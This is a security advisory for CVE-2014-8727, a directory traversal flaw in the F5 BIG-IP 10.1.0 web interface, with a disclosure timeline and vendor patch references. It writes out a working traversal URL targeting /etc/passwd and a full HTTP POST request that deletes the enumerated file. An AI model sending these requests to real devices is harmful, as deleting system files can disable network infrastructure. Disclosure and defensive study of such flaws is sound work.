F5 BIG-IP 10.1.0 - Directory Traversal

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+ F5 BIG-IP 10.1.0 - Directory Traversal Vulnerability +

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Affected Product  : F5 BIG-IP

Vendor Homepage    : http://www.f5.com/

Version      : 10.1.0

Vulnerability Category  : Local vulnerability

Discovered by    : Anastasios Monachos (secuid0) - [anastasiosm (at) gmail (dot) com]

CVE       : CVE-2014-8727

Patched      : Yes



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+ Description +

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An authenticated user with either "Resource Administrator" or "Administrator" role privileges is able to arbitrary enumerate files and subsequently delete them off the OS level. Any system file deletion, for instance under /etc, /boot etc would have a major functionality and operational impact for the device.



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+ Exploitation Details +

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An authenticated user with either "Resource Administrator" or "Administrator" role privileges is able to enumerate files on the operating system and subsequently delete them off the OS level.



In order to trigger the flaw, send a HTTP GET request similar to: https://<ip>/tmui/Control/jspmap/tmui/system/archive/properties.jsp?&name=../../../../../etc/passwd

Condition: If file does not exist the application will return "File not found." If the file exists, the user can either send, a similar to, the next HTTP POST request or simply click on the Delete button through the GUI -the button will be displayed only if the enumerated file exists-.



Sample HTTP POST request:



POST /tmui/Control/form HTTP/1.1

Host: <ip>

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:32.0) Gecko/20100101 Firefox/32.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: https://<ip>/tmui/Control/jspmap/tmui/system/archive/properties.jsp?name=../../../../../etc/passwd

Cookie: JSESSIONID=6C6BADBEFB32C36CDE7A59C416659494; f5advanceddisplay=""; BIGIPAuthCookie=89C1E3BDA86BDF9E0D64AB60417979CA1D9BE1D4; BIGIPAuthUsernameCookie=admin; F5_CURRENT_PARTITION=Common; f5formpage="/tmui/system/archive/properties.jsp?&name=../../../../../etc/passwd"; f5currenttab="main"; f5mainmenuopenlist=""; f5_refreshpage=/tmui/Control/jspmap/tmui/system/archive/properties.jsp%3Fname%3D../../../../../etc/passwd

Connection: keep-alive

Content-Type: application/x-www-form-urlencoded

Content-Length: 937



_form_holder_opener_=&handler=%2Ftmui%2Fsystem%2Farchive%2Fproperties&handler_before=%2Ftmui%2Fsystem%2Farchive%2Fproperties&showObjList=&showObjList_before=&hideObjList=&hideObjList_before=&enableObjList=&enableObjList_before=&disableObjList=&disableObjList_before=&_bufvalue=icHjvahr354NZKtgQXl5yh2b&_bufvalue_before=icHjvahr354NZKtgQXl5yh2b&_bufvalue_validation=NO_VALIDATION&com.f5.util.LinkedAdd.action_override=%2Ftmui%2Fsystem%2Farchive%2Fproperties&com.f5.util.LinkedAdd.action_override_before=%2Ftmui%2Fsystem%2Farchive%2Fproperties&linked_add_id=&linked_add_id_before=&name=..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&name_before=..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&form_page=%2Ftmui%2Fsystem%2Farchive%2Fproperties.jsp%3F&form_page_before=%2Ftmui%2Fsystem%2Farchive%2Fproperties.jsp%3F&download_before=Download%3A+..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&restore_before=Restore&delete=Delete&delete_before=Delete



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+ Solution +

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F5 has already patched and mitigated the issue, for more information see ID363027 at the following URL:

  https://support.f5.com/kb/en-us/solutions/public/13000/100/sol13109.html

  https://support.f5.com/kb/en-us/products/big-ip_ltm/releasenotes/product/relnote_11_0_0_ltm.html



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+ Disclosure Timeline +

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03-11-2014: Vendor notified at security-reporting [at] f5 [dot] com

04-11-2014: Vendor responded with intent to investigate

04-11-2014: Shared details with vendor

05-11-2014: Vendor confirmed the issue is already patched, reference ID363027

12-11-2014: Public disclosure